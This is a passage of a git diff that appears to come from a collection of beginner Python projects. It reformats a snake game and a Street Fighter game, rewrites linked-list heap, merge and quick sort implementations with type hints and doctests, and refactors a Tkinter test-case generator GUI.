self.segments[0].color(colors.FIRST_SEGMENT_COLOR)
def move(self):
- """ Moves the snake forward by moving each segment to the position of the one in front."""
+ """Moves the snake forward by moving each segment to the position of the one in front."""
for i in range(len(self.segments) - 1, 0, -1):
x = self.segments[i - 1].xcor()
y = self.segments[i - 1].ycor()
@@ -70,4 +74,3 @@ def right(self):
"""Turns the snake's head to the right, preventing it from reversing."""
if self.head.heading() != LEFT:
self.head.setheading(RIGHT)
-
diff --git a/Snake Game Using Turtle/wall.py b/Snake Game Using Turtle/wall.py
index dc47848961b..1e81b77f868 100644
--- a/Snake Game Using Turtle/wall.py
+++ b/Snake Game Using Turtle/wall.py
@@ -1,10 +1,13 @@
"""This file creates a responsive boundary wall that adapts to the game window size."""
-from turtle import Turtle, Screen
+from turtle import Screen, Turtle
+
import colors
+
class Wall:
- """ This class creates a wall around the game screen that adjusts to its dimensions. """
+ """This class creates a wall around the game screen that adjusts to its dimensions."""
+
def __init__(self):
self.screen = Screen()
self.create_wall()
@@ -43,4 +46,3 @@ def create_wall(self):
wall.goto(right - 10, top - 70)
self.screen.update()
-
diff --git a/Sorting Algorithims/heapsort_linkedlist.py b/Sorting Algorithims/heapsort_linkedlist.py
index 9f535d20ade..f837e47001b 100644
--- a/Sorting Algorithims/heapsort_linkedlist.py
+++ b/Sorting Algorithims/heapsort_linkedlist.py
@@ -1,84 +1,202 @@
+"""
+Heap Sort on a Singly Linked List (Educational Implementation)
+==============================================================
+
+Algorithm Steps:
+1. Count the number of nodes (n).
+2. Build a max‑heap starting from the last internal node (n//2 - 1) up to the root.
+3. Repeatedly swap the root (maximum) with the last unsorted node, then restore the heap property on the reduced heap.
+
+Time Complexity: O(n log n) comparisons, but accessing a node by index costs O(n),
+ making the overall complexity O(n²) for this linked‑list version.
+Space Complexity: O(log n) due to recursion stack (or O(1) if implemented iteratively).
+Stability: Not stable.
+"""
+
+from __future__ import annotations
+
+from typing import Iterable, Iterator, List, Optional
+
+
class Node:
- def __init__(self, data):
- self.data = data
- self.next = None
+ """Singly linked list node."""
+ def __init__(self, data: int) -> None:
+ self.data: int = data
+ self.next: Optional[Node] = None
-class LinkedList:
- def __init__(self):
- self.head = None
- def push(self, data):
+class LinkedList:
+ """Singly linked list with heap‑sort capability."""
+
+ def __init__(self, iterable: Optional[Iterable[int]] = None) -> None:
+ """Create a linked list, optionally from an iterable."""
+ self.head: Optional[Node] = None
+ if iterable is not None:
+ for value in reversed(list(iterable)): # maintain original order
+ self.push(value)
+
+ # ---------- Basic list operations ----------
+ def push(self, data: int) -> None:
+ """Insert a new node at the head."""
new_node = Node(data)
new_node.next = self.head
self.head = new_node
- def print_list(self):
- current = self.head
- while current:
- print(current.data, end=" -> ")
- current = current.next
+ def append(self, data: int) -> None:
+ """Insert a new node at the tail."""
+ if not self.head:
+ self.head = Node(data)
+ return
+ cur = self.head
+ while cur.next:
+ cur = cur.next
+ cur.next = Node(data)
+
+ def to_list(self) -> List[int]:
+ """Convert the linked list to a Python list."""
+ result: List[int] = []
+ cur = self.head
+ while cur:
+ result.append(cur.data)
+ cur = cur.next
+ return result
+
+ @classmethod
+ def from_list(cls, lst: List[int]) -> LinkedList:
+ """Build a linked list from a Python list (preserving order)."""
+ ll = cls()
+ for val in lst:
+ ll.append(val)
+ return ll
+
+ def __len__(self) -> int:
+ """Return the number of nodes."""
+ count = 0
+ cur = self.head
+ while cur:
+ count += 1
+ cur = cur.next
+ return count
+
+ def __iter__(self) -> Iterator[int]:
+ """Iterate over node data."""
+ cur = self.head
+ while cur:
+ yield cur.data
+ cur = cur.next
+
+ def print_list(self) -> None:
+ """Print the list in a human‑readable format."""
+ cur = self.head
+ while cur:
+ print(cur.data, end=" -> ")
+ cur = cur.next
print("None")
- def heapify(self, n, i):
+ # ---------- Heap‑sort helpers ----------
+ def _get_node(self, index: int) -> Optional[Node]:
+ """Return the node at the given index (0‑based); return None if out of range."""
+ cur = self.head
+ for _ in range(index):
+ if cur is None:
+ return None
+ cur = cur.next
+ return cur
+
+ def _swap_data(self, i: int, j: int) -> None:
+ """Swap the data of two nodes by their indices."""
+ node_i = self._get_node(i)
+ node_j = self._get_node(j)
+ if node_i is not None and node_j is not None:
+ node_i.data, node_j.data = node_j.data, node_i.data
+
+ def _heapify(self, n: int, i: int) -> None:
+ """
+ Maintain the max‑heap property for the subtree rooted at index i.
+ Assumes that the subtrees of i are already heaps.
+ n – size of the current heap (unsorted part).
+ """
largest = i
left = 2 * i + 1
right = 2 * i + 2
- current = self.head
- for _ in range(i):
- current = current.next
+ node_i = self._get_node(i)
+ node_left = self._get_node(left) if left < n else None
+ node_right = self._get_node(right) if right < n else None
- if left < n and current.data < current.next.data:
+ if (
+ node_left is not None
+ and node_i is not None
+ and node_left.data > node_i.data
+ ):
largest = left
- if right < n and current.data < current.next.data:
+ node_largest = self._get_node(largest)
+ if (
+ node_right is not None
+ and node_largest is not None
+ and node_right.data > node_largest.data
+ ):
largest = right
if largest != i:
- self.swap(i, largest)
- self.heapify(n, largest)
-
- def swap(self, i, j):
- current_i = self.head
- current_j = self.head
-
- for _ in range(i):
- current_i = current_i.next
-
- for _ in range(j):
- current_j = current_j.next
-
- current_i.data, current_j.data = current_j.data, current_i.data
-
- def heap_sort(self):
- n = 0
- current = self.head
- while current:
- n += 1
- current = current.next
-
+ self._swap_data(i, largest)
+ self._heapify(n, largest) # recursive fix
+
+ # ---------- Public sort method ----------
+ def heap_sort(self) -> None:
+ """
+ Sort the linked list in ascending order using heap sort.
+
+ Examples:
+ >>> lst = LinkedList.from_list([4, 10, 3, 5, 1])
+ >>> lst.heap_sort()
+ >>> lst.to_list()
+ [1, 3, 4, 5, 10]
+
+ >>> lst = LinkedList.from_list([])
+ >>> lst.heap_sort()
+ >>> lst.to_list()
+ []
+
+ >>> lst = LinkedList.from_list([7])
+ >>> lst.heap_sort()
+ >>> lst.to_list()
+ [7]
+
+ >>> lst = LinkedList.from_list([2, 1])
+ >>> lst.heap_sort()
+ >>> lst.to_list()
+ [1, 2]
+ """
+ n = len(self)
+ if n <= 1:
+ return
+
+ # Build max‑heap (starting from the last internal node)
for i in range(n // 2 - 1, -1, -1):
- self.heapify(n, i)
+ self._heapify(n, i)
+ # One by one extract the maximum and place at the end
for i in range(n - 1, 0, -1):
- self.swap(0, i)
- self.heapify(i, 0)
-
-
-# Example usage:
-linked_list = LinkedList()
-linked_list.push(12)
-linked_list.push(11)
-linked_list.push(13)
-linked_list.push(5)
-linked_list.push(6)
-linked_list.push(7)
-
-print("Original Linked List:")
-linked_list.print_list()
-
-linked_list.heap_sort()
-
-print("Sorted Linked List:")
-linked_list.print_list()
+ self._swap_data(0, i) # move current max to the end
+ self._heapify(i, 0) # restore heap on the reduced list
+
+
+if __name__ == "__main__":
+ import doctest
+
+ doctest.testmod()
+
+ # Interactive example
+ ll = LinkedList()
+ print("Enter space‑separated integers to insert at the head (push):")
+ data = list(map(int, input().split()))
+ for val in data:
+ ll.push(val) # push reverses the order
+ print("Original list (head first):")
+ ll.print_list()
+ ll.heap_sort()
+ print("Sorted list:")
+ ll.print_list()
diff --git a/Sorting Algorithims/mergesort_linkedlist.py b/Sorting Algorithims/mergesort_linkedlist.py
index 4e833dc2e29..954adb65961 100644
--- a/Sorting Algorithims/mergesort_linkedlist.py
+++ b/Sorting Algorithims/mergesort_linkedlist.py
@@ -1,84 +1,193 @@
+"""
+Merge Sort on a Singly Linked List (Standard Implementation)
+=============================================================
+
+Algorithm Steps:
+1. If the list is empty or has one node, it is already sorted.
+2. Find the middle node using the slow/fast pointer technique.
+3. Split the list into two halves.
+4. Recursively sort each half.
+5. Merge the two sorted halves back together.
+
+Time Complexity: O(n log n)
+Space Complexity: O(log n) for recursion stack (in‑place node rearrangement).
+Stability: Stable (equal elements retain their relative order).
+"""
+
from __future__ import annotations
+from typing import Iterable, Iterator, List, Optional
+
class Node:
+ """Singly linked list node."""
+
def __init__(self, data: int) -> None:
- self.data = data
- self.next = None
+ self.data: int = data
+ self.next: Optional[Node] = None
class LinkedList:
- def __init__(self):
- self.head = None
-
- def insert(self, new_data: int) -> None:
- new_node = Node(new_data)
+ """Singly linked list with merge‑sort capability."""
+
+ def __init__(self, iterable: Optional[Iterable[int]] = None) -> None:
+ """Create a linked list, optionally from an iterable."""
+ self.head: Optional[Node] = None
+ if iterable is not None:
+ for value in iterable:
+ self.append(value)
+
+ # ---------- Basic list operations ----------
+ def push(self, data: int) -> None:
+ """Insert a new node at the head."""
+ new_node = Node(data)
new_node.next = self.head
self.head = new_node
- def printLL(self) -> None:
- temp = self.head
- if temp == None:
- return "Linked List is empty"
- while temp.next:
- print(temp.data, "->", end="")
- temp = temp.next
- print(temp.data)
- return
-
-
-# Merge two sorted linked lists
-def merge(left, right):
- if not left:
- return right
- if not right:
- return left
-
- if left.data < right.data:
- result = left
- result.next = merge(left.next, right)
- else:
- result = right
- result.next = merge(left, right.next)
-
- return result
-
-
-# Merge sort for linked list
-def merge_sort(head):
- if not head or not head.next:
- return head
-
- # Find the middle of the list
- slow = head
- fast = head.next
- while fast and fast.next:
- slow = slow.next
- fast = fast.next.next
-
- left = head
- right = slow.next
- slow.next = None
-
- left = merge_sort(left)
- right = merge_sort(right)
-
- return merge(left, right)
+ def append(self, data: int) -> None:
+ """Insert a new node at the tail."""
+ if not self.head:
+ self.head = Node(data)
+ return
+ cur = self.head
+ while cur.next:
+ cur = cur.next
+ cur.next = Node(data)
+
+ def to_list(self) -> List[int]:
+ """Convert the linked list to a Python list."""
+ result: List[int] = []
+ cur = self.head
+ while cur:
+ result.append(cur.data)
+ cur = cur.next
+ return result
+
+ @classmethod
+ def from_list(cls, lst: List[int]) -> LinkedList:
+ """Build a linked list from a Python list (preserving order)."""
+ ll = cls()
+ for val in lst:
+ ll.append(val)
+ return ll
+
+ def __len__(self) -> int:
+ """Return the number of nodes."""
+ count = 0
+ cur = self.head
+ while cur:
+ count += 1
+ cur = cur.next
+ return count
+
+ def __iter__(self) -> Iterator[int]:
+ """Iterate over node data."""
+ cur = self.head
+ while cur:
+ yield cur.data
+ cur = cur.next
+
+ def print_list(self) -> None:
+ """Print the list in a human‑readable format."""
+ cur = self.head
+ while cur:
+ print(cur.data, end=" -> ")
+ cur = cur.next
+ print("None")
+
+ # ---------- Merge‑sort implementation ----------
+ @staticmethod
+ def _merge(left: Optional[Node], right: Optional[Node]) -> Optional[Node]:
+ """
+ Merge two sorted linked lists and return the head of the merged list.
+ This is a static helper that works on raw Node objects.
+ """
+ if left is None:
+ return right
+ if right is None:
+ return left
+
+ if left.data <= right.data: # stable sort: use <= to preserve order
+ result = left
+ result.next = LinkedList._merge(left.next, right)
+ else:
+ result = right
+ result.next = LinkedList._merge(left, right.next)
+ return result
+
+ def _merge_sort(self, head: Optional[Node]) -> Optional[Node]:
+ """
+ Recursively sort the list starting at 'head' and return the new head.
+ This internal method works directly on nodes.
+ """
+ if head is None or head.next is None:
+ return head
+
+ # Find the middle node using slow/fast pointers
+ slow = head
+ fast = head.next
+ while fast is not None and fast.next is not None:
+ slow = slow.next
+ fast = fast.next.next
+
+ left = head
+ right = slow.next
+ slow.next = None # split the list
+
+ # Recursively sort both halves
+ left = self._merge_sort(left)
+ right = self._merge_sort(right)
+
+ # Merge the sorted halves
+ return LinkedList._merge(left, right)
+
+ def sort(self) -> None:
+ """
+ Sort the linked list in ascending order using merge sort.
+
+ Examples:
+ >>> lst = LinkedList.from_list([4, 10, 3, 5, 1])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [1, 3, 4, 5, 10]
+
+ >>> lst = LinkedList.from_list([])
+ >>> lst.sort()
+ >>> lst.to_list()
+ []
+
+ >>> lst = LinkedList.from_list([7])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [7]
+
+ >>> lst = LinkedList.from_list([2, 1])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [1, 2]
+ """
+ self.head = self._merge_sort(self.head)
+
+
+# Alias for backward compatibility with the original file
+def merge_sort(head: Optional[Node]) -> Optional[Node]:
+ """Standalone function that sorts a list starting at 'head'."""
+ return LinkedList()._merge_sort(head)
if __name__ == "__main__":
- ll = LinkedList()
- print(
- "Enter the space-separated values of numbers to be inserted in the linked list prompted below:"
- )
- arr = list(map(int, input().split()))
- for num in arr:
- ll.insert(num)
+ import doctest
- print("Linked list before sorting:")
- ll.printLL()
+ doctest.testmod()
- ll.head = merge_sort(ll.head)
-
- print("Linked list after sorting:")
- ll.printLL()
+ # Interactive example
+ ll = LinkedList()
+ print("Enter space‑separated integers to insert at the head (push):")
+ data = list(map(int, input().split()))
+ for val in data:
+ ll.push(val) # push reverses the order
+ print("Original list (head first):")
+ ll.print_list()
+ ll.sort()
+ print("Sorted list:")
+ ll.print_list()
diff --git a/Sorting Algorithims/quicksort_linkedlist.py b/Sorting Algorithims/quicksort_linkedlist.py
index 70804343a98..d7fec57d7d3 100644
--- a/Sorting Algorithims/quicksort_linkedlist.py
+++ b/Sorting Algorithims/quicksort_linkedlist.py
@@ -1,80 +1,188 @@
"""
-Given a linked list with head pointer,
-sort the linked list using quicksort technique without using any extra space
-Time complexity: O(NlogN), Space complexity: O(1)
+Quick Sort on a Singly Linked List (In‑Place, Recursive)
+=========================================================
+
+Algorithm Steps:
+1. If the segment has 0 or 1 node, it is sorted.
+2. Choose the first node's data as the pivot.
+3. Partition the segment so that all elements smaller than the pivot
+ come before the pivot, and all greater come after.
+4. Recursively sort the left part (before pivot) and the right part (after pivot).
+
+Time Complexity: O(n log n) average, O(n²) worst‑case (rare with random data).
+Space Complexity: O(log n) recursion stack (no extra data structures).
+Stability: Not stable (partition swaps elements).
"""
from __future__ import annotations
+from typing import Iterable, Iterator, List, Optional
+
class Node:
+ """Singly linked list node."""
+
def __init__(self, data: int) -> None:
- self.data = data
- self.next = None
+ self.data: int = data
+ self.next: Optional[Node] = None
class LinkedList:
- def __init__(self):
- self.head = None
+ """Singly linked list with quick‑sort capability."""
- # method to insert nodes at the start of linkedlist
- def insert(self, new_data: int) -> None:
- new_node = Node(new_data)
+ def __init__(self, iterable: Optional[Iterable[int]] = None) -> None:
+ """Create a linked list, optionally from an iterable."""
+ self.head: Optional[Node] = None
+ if iterable is not None:
+ for value in iterable:
+ self.append(value)
+
+ # ---------- Basic list operations ----------
+ def push(self, data: int) -> None:
+ """Insert a new node at the head."""
+ new_node = Node(data)
new_node.next = self.head
self.head = new_node
- # method to print the linkedlist
- def printLL(self) -> None:
- temp = self.head
- if temp == None:
- return "Linked List is empty"
- while temp.next:
- print(temp.data, "->", end="")
- temp = temp.next
- print(temp.data)
- return
-
-
-# Partition algorithm with pivot as first element
-
-
-def partition(start, end):
- if start == None or start.next == None:
- return start
- prev, curr = start, start.next
- pivot = prev.data
- while curr != end:
- if curr.data < pivot:
- prev = prev.next
- temp = prev.data
- prev.data = curr.data
- curr.data = temp
- curr = curr.next
- temp = prev.data
- prev.data = start.data
- start.data = temp
- return prev
-
-
-# recursive quicksort for function calls
-def quicksort_LL(start, end):
- if start != end:
- pos = partition(start, end)
- quicksort_LL(start, pos)
- quicksort_LL(pos.next, end)
- return
+ def append(self, data: int) -> None:
+ """Insert a new node at the tail."""
+ if not self.head:
+ self.head = Node(data)
+ return
+ cur = self.head
+ while cur.next:
+ cur = cur.next
+ cur.next = Node(data)
+
+ def to_list(self) -> List[int]:
+ """Convert the linked list to a Python list."""
+ result: List[int] = []
+ cur = self.head
+ while cur:
+ result.append(cur.data)
+ cur = cur.next
+ return result
+
+ @classmethod
+ def from_list(cls, lst: List[int]) -> LinkedList:
+ """Build a linked list from a Python list (preserving order)."""
+ ll = cls()
+ for val in lst:
+ ll.append(val)
+ return ll
+
+ def __len__(self) -> int:
+ """Return the number of nodes."""
+ count = 0
+ cur = self.head
+ while cur:
+ count += 1
+ cur = cur.next
+ return count
+
+ def __iter__(self) -> Iterator[int]:
+ """Iterate over node data."""
+ cur = self.head
+ while cur:
+ yield cur.data
+ cur = cur.next
+
+ def print_list(self) -> None:
+ """Print the list in a human‑readable format."""
+ cur = self.head
+ while cur:
+ print(cur.data, end=" -> ")
+ cur = cur.next
+ print("None")
+
+ # ---------- Quick‑sort helpers ----------
+ @staticmethod
+ def _partition(start: Optional[Node], end: Optional[Node]) -> Optional[Node]:
+ """
+ Partition the list segment from `start` (inclusive) to `end` (exclusive)
+ using `start.data` as pivot. Returns the node that contains the pivot
+ after partitioning (its final position).
+ """
+ if start is None or start.next is None:
+ return start
+
+ pivot = start.data
+ # `prev` marks the last position where an element smaller than pivot was placed
+ prev = start
+ curr = start.next
+
+ while curr is not end:
+ if curr.data < pivot:
+ # move prev forward and swap data
+ prev = prev.next
+ prev.data, curr.data = curr.data, prev.data
+ curr = curr.next
+
+ # place pivot in its correct position
+ start.data, prev.data = prev.data, start.data
+ return prev
+
+ def _quick_sort(self, start: Optional[Node], end: Optional[Node]) -> None:
+ """
+ Recursively sort the segment from `start` to `end` (exclusive).
+ """
+ if start is not None and start is not end:
+ pivot = LinkedList._partition(start, end)
+ self._quick_sort(start, pivot) # left part (before pivot)
+ self._quick_sort(pivot.next, end) # right part (after pivot)
+
+ def sort(self) -> None:
+ """
+ Sort the linked list in ascending order using quick sort.
+
+ Examples:
+ >>> lst = LinkedList.from_list([4, 10, 3, 5, 1])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [1, 3, 4, 5, 10]
+
+ >>> lst = LinkedList.from_list([])
+ >>> lst.sort()
+ >>> lst.to_list()
+ []
+
+ >>> lst = LinkedList.from_list([7])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [7]
+
+ >>> lst = LinkedList.from_list([2, 1])
+ >>> lst.sort()
+ >>> lst.to_list()
+ [1, 2]
+ """
+ self._quick_sort(self.head, None)
+
+
+# Standalone functions for backward compatibility
+def partition(start: Optional[Node], end: Optional[Node]) -> Optional[Node]:
+ """Standalone partition function."""
+ return LinkedList._partition(start, end)
+
+
+def quicksort_LL(start: Optional[Node], end: Optional[Node]) -> None:
+ """Standalone recursive quick‑sort function."""
+ LinkedList()._quick_sort(start, end)
if __name__ == "__main__":
+ import doctest
+
+ doctest.testmod()
+
+ # Interactive example
ll = LinkedList()
- print(
- "Enter the space seperated values of numbers to be inserted in linkedlist prompted below:"
- )
- arr = list(map(int, input().split()))
- for num in arr:
- ll.insert(num)
- print("Linkedlist before sorting:")
- ll.printLL()
- quicksort_LL(ll.head, None)
- print("Linkedlist after sorting: ")
- ll.printLL()
+ print("Enter space‑separated integers to insert at the head (push):")
+ data = list(map(int, input().split()))
+ for val in data:
+ ll.push(val) # push reverses the order
+ print("Original list (head first):")
+ ll.print_list()
+ ll.sort()
+ print("Sorted list:")
+ ll.print_list()
diff --git a/Sorting Algorithms/Heap sort.py b/Sorting Algorithms/Heap sort.py
index 6e5a80c3aff..2719cfa8875 100644
--- a/Sorting Algorithms/Heap sort.py
+++ b/Sorting Algorithms/Heap sort.py
@@ -1,5 +1,6 @@
# Python program for implementation of heap Sort
+
# To heapify subtree rooted at index i.
# n is size of heap
def heapify(arr, n, i):
diff --git a/Sorting Algorithms/Iterative Merge Sort.py b/Sorting Algorithms/Iterative Merge Sort.py
index 734cf1954c0..4ec479dc7d1 100644
--- a/Sorting Algorithms/Iterative Merge Sort.py
+++ b/Sorting Algorithms/Iterative Merge Sort.py
@@ -1,5 +1,6 @@
# Iterative Merge sort (Bottom Up)
+
# Iterative mergesort function to
# sort arr[0...n-1]
def mergeSort(a):
diff --git a/Street_Fighter/src/main.py b/Street_Fighter/src/main.py
index 62778cee3b3..fc9d888f604 100644
--- a/Street_Fighter/src/main.py
+++ b/Street_Fighter/src/main.py
@@ -1,11 +1,12 @@
import math
-import pygame
-from pygame import mixer
-import cv2
-import numpy as np
import os
import sys
+
+import cv2
+import numpy as np
+import pygame
from fighter import Fighter
+from pygame import mixer
# Helper Function for Bundled Assets
diff --git a/Sum of digits of a number.py b/Sum of digits of a number.py
index ce141531e66..1c28f0432cf 100644
--- a/Sum of digits of a number.py
+++ b/Sum of digits of a number.py
@@ -40,7 +40,7 @@ def addition(num):
): # Checks if number type is none or not. If type is none program exits.
print("Try again!")
sys.exit()
- num = abs(num) # Handle negative numbers
+ num = abs(num) # Handle negative numbers
while num > 0: # Addition- adding the digits in the number.
digit = int(num % 10)
Sum += digit
diff --git a/TTS.py b/TTS.py
index a151388ce21..0076c43f61d 100644
--- a/TTS.py
+++ b/TTS.py
@@ -1,5 +1,5 @@
-from tkinter import *
from platform import system
+from tkinter import *
if system() == "Windows" or "nt":
import win32com.client as wincl
diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py
index 05c9e77d60a..e4e6310f3b2 100644
--- a/Test-Case-Generator/test_case.py
+++ b/Test-Case-Generator/test_case.py
@@ -4,23 +4,67 @@
# _________________________________________________ ###
# _________________________________________________ ###
-from tkinter import *
-from random import randint, choices
-import webbrowser
import os
+import webbrowser
+from random import choices, randint
+from tkinter import (
+ END,
+ HORIZONTAL,
+ LEFT,
+ Button,
+ Entry,
+ IntVar,
+ Label,
+ Scrollbar,
+ StringVar,
+ Text,
+ Tk,
+)
mycolor = "#262626"
class Case:
- def __init__(self, master):
- gen_frame = Frame(master)
- gen_frame.grid()
- self.test_case_counter = None
-
- def home(self):
+ def __init__(self, master: Tk) -> None:
+ self.master = master
+ self.test_case_counter = None # kept for potential future use
+ self.constraints = None
+ # attributes created dynamically, but we keep them
+ self.statement = None
+ self.button1 = self.button2 = self.button3 = self.button4 = self.button5 = None
+ self.button6 = self.button7 = self.button8 = self.button9 = self.button10 = None
+ self.button_new = self.button_exit = self.copyright_label = None
+ self.output = None
+ self.y_scroll = self.x_scroll = None
+ self.copy_button = self.generate_button = self.change_values_button = None
+ self.done_button = self.button_exit_output = None
+ self.test_case_count_label = self.test_case_count = None
+ self.minimum_value_of_n = self.maximum_value_of_n = None
+ self.min_max_values_of_n_label = None
+ self.minimum_value_of_m = self.maximum_value_of_m = None
+ self.min_max_values_of_m_label = None
+ self.minimum_value_of_k = self.maximum_value_of_k = None
+ self.min_max_values_of_k_label = None
+ self.minimum_value_of_ai = self.maximum_value_of_ai = None
+ self.min_max_values_of_ai_label = None
+ self.minimum_value_of_bi = self.maximum_value_of_bi = None
+ self.min_max_values_of_bi_label = None
+ self.char_list_label = self.char_list = None
+ self.back_btn = self.sub_btn = self.exit_btn = None
+ # temporary variables for generation
+ self.t = 0
+ self.n_min = self.n_max = 0
+ self.m_min = self.m_max = 0
+ self.k_min = self.k_max = 0
+ self.a_min = self.a_max = 0
+ self.b_min = self.b_max = 0
+ self.char_lis = []
+ self.n = self.m = self.k = 0
+ self.a = self.b = []
+
+ def home(self) -> None:
self.statement = Label(
- gui,
+ self.master,
text="Select Test Case Type",
fg="white",
height=1,
@@ -28,137 +72,137 @@ def home(self):
)
self.statement.configure(bg=mycolor)
self.button1 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn \nA1 A2 A3...An\nn \nA1 A2 A3...An",
width=13,
fg="white",
bd=3,
- command=lambda: Type1(gui),
+ command=lambda: Type1(self.master),
bg="red",
font="calibre",
)
self.button1.configure(background="grey20")
self.button2 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn m \nA1 A2 A3...An\nn m\nA1 A2 A3...An",
fg="white",
- command=lambda: Type2(gui),
+ command=lambda: Type2(self.master),
width=13,
font="calibre",
bd=3,
)
self.button2.configure(background="grey20")
self.button3 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nA1 B1\nA2 B2\n(t rows of)\n(A, B pair)",
fg="white",
- command=lambda: Type3(gui),
+ command=lambda: Type3(self.master),
width=13,
font="calibre",
bd=3,
)
self.button3.configure(background="grey20")
self.button4 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn m \nA1 A2...An\nB1 B2...Bm\n... ...",
fg="white",
- command=lambda: Type4(gui),
+ command=lambda: Type4(self.master),
width=13,
font="calibre",
bd=3,
)
self.button4.configure(background="grey20")
self.button5 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn m k\nn m k\n(t rows of)\n(n m k pair)",
fg="white",
- command=lambda: Type5(gui),
+ command=lambda: Type5(self.master),
width=13,
font="calibre",
bd=3,
)
self.button5.configure(background="grey20")
self.button6 = Button(
- gui,
+ self.master,
justify=LEFT,
text="n * m (matrix)\nA1 A2...Am\nA1 A2...Am\n__ __ ... __\n"
"A1 A2...Am",
fg="white",
- command=lambda: Type6(gui),
+ command=lambda: Type6(self.master),
width=13,
font="calibre",
bd=3,
)
self.button6.configure(background="grey20")
self.button7 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn\nCustom string\n(ex: 0 1)\n(ex: + / -)",
fg="white",
- command=lambda: Type7(gui),
+ command=lambda: Type7(self.master),
width=13,
font="calibre",
bd=3,
)
self.button7.configure(background="grey20")
self.button8 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn m\nA1 B1\n... ...\nAm Bm",
fg="white",
- command=lambda: Type8(gui),
+ command=lambda: Type8(self.master),
width=13,
font="calibre",
bd=3,
)
self.button8.configure(background="grey20")
self.button9 = Button(
- gui,
+ self.master,
justify=LEFT,
text='T\nCustom string\n(without "n")\n(ex: 0 1)\n(ex: + / -)',
fg="white",
- command=lambda: Type9(gui),
+ command=lambda: Type9(self.master),
width=13,
font="calibre",
bd=3,
)
self.button9.configure(background="grey20")
self.button10 = Button(
- gui,
+ self.master,
justify=LEFT,
text="T\nn k m\nA1 A2...An\nn k m\nA1 A2...An",
fg="white",
- command=lambda: Type10(gui),
+ command=lambda: Type10(self.master),
width=13,
font="calibre",
bd=3,
)
self.button10.configure(background="grey20")
self.button_new = Button(
- gui,
+ self.master,
text=" ANOTHER TYPE ",
fg="black",
width=13,
font="calibre",
bd=3,
- command=lambda: self.newformat(self=Case),
+ command=self.newformat,
)
self.button_exit = Button(
- gui,
+ self.master,
text=" EXIT ",
fg="black",
width=11,
font="calibre",
bd=3,
- command=lambda: gui.destroy(),
+ command=self.master.destroy,
)
self.copyright_label = Button(
- gui,
+ self.master,
text="© Dude901",
fg="white",
width=7,
@@ -168,13 +212,12 @@ def home(self):
font=("calibre", 6, "normal"),
)
self.copyright_label.configure(bg=mycolor)
- self.retrieve_home(self)
+ self.retrieve_home()
- def newformat(self):
- url = "https://forms.gle/UVdo6QMAwBNxa9Ln7"
- webbrowser.open_new_tab(url)
+ def newformat(self) -> None:
+ webbrowser.open_new_tab("https://forms.gle/UVdo6QMAwBNxa9Ln7")
- def forget_home(self):
+ def forget_home(self) -> None:
self.statement.place_forget()
self.button1.grid_forget()
self.button2.grid_forget()
@@ -189,7 +232,7 @@ def forget_home(self):
self.button_new.grid_forget()
self.button_exit.grid_forget()
- def retrieve_home(self):
+ def retrieve_home(self) -> None:
self.statement.place(relx=0.39, rely=0.005)
self.button1.grid(row=1, column=0, ipady=10, pady=27, padx=10)
self.button2.grid(row=1, column=1, ipady=10, pady=27, padx=10)
@@ -205,26 +248,24 @@ def retrieve_home(self):
self.button_exit.grid(row=3, column=3, ipady=10, pady=13, padx=10)
self.copyright_label.place(relx=0.92, rely=0.005)
- def cpy(self):
+ def cpy(self) -> None:
txt = self.output.get("1.0", END)
- gui.clipboard_clear()
- gui.clipboard_append(txt.strip())
+ self.master.clipboard_clear()
+ self.master.clipboard_append(txt.strip())
- def done(self, output):
- self.a = [0]
+ def done(self) -> None:
self.try_forget()
self.retrieve_home()
- pass
- def display(self):
- self.y_scroll = Scrollbar(gui)
- self.x_scroll = Scrollbar(gui, orient=HORIZONTAL)
+ def display(self) -> None:
+ self.y_scroll = Scrollbar(self.master)
+ self.x_scroll = Scrollbar(self.master, orient=HORIZONTAL)
self.y_scroll.grid(row=0, column=11, sticky="NS", pady=(22, 0), padx=(0, 20))
self.x_scroll.grid(
row=1, sticky="EW", columnspan=10, padx=(20, 0), pady=(0, 30)
)
self.output = Text(
- gui,
+ self.master,
height=12,
bg="light cyan",
width=82,
@@ -232,8 +273,6 @@ def display(self):
xscrollcommand=self.x_scroll.set,
wrap="none",
)
- # self.output = ScrolledText(gui, height=12, bg="light cyan", width=82, wrap='none',
- # xscrollcommand=x_scroll.set) # only for y scroll
self.output.grid(
row=0,
column=0,
@@ -246,7 +285,7 @@ def display(self):
self.y_scroll.config(command=self.output.yview)
self.x_scroll.config(command=self.output.xview)
self.copy_button = Button(
- gui,
+ self.master,
text="COPY",
fg="black",
width=18,
@@ -258,31 +297,31 @@ def display(self):
row=2, column=3, sticky="SW", ipady=10, pady=(10, 18), padx=15
)
self.generate_button = Button(
- gui,
+ self.master,
text="RE-GENERATE",
width=23,
fg="black",
- command=lambda: self.generate(),
+ command=self.generate,
font="calibre",
bd=3,
)
self.generate_button.grid(row=2, column=4, ipady=10, pady=(10, 18), padx=15)
self.change_values_button = Button(
- gui,
+ self.master,
text="CHANGE CONSTRAINT",
fg="black",
- command=lambda: self.take_input(),
+ command=self.take_input,
width=20,
font="calibre",
bd=3,
)
self.change_values_button.grid(row=2, column=5, ipady=10, pady=(10, 18), padx=5)
self.done_button = Button(
- gui,
+ self.master,
text="HOME",
fg="black",
- command=lambda: self.done(self.output),
+ command=self.done,
width=20,
font="calibre",
bd=3,
@@ -291,409 +330,387 @@ def display(self):
row=3, column=3, columnspan=2, ipady=10, pady=(10, 20), padx=5
)
self.button_exit_output = Button(
- gui,
+ self.master,
text=" EXIT ",
fg="black",
width=20,
font="calibre",
bd=3,
- command=lambda: gui.destroy(),
+ command=self.master.destroy,
)
self.button_exit_output.grid(
row=3, column=4, columnspan=2, ipady=10, pady=(10, 20), padx=5
)
- def try_forget(self):
- self.output.grid_forget()
- self.copy_button.grid_forget()
- self.generate_button.grid_forget()
- self.change_values_button.grid_forget()
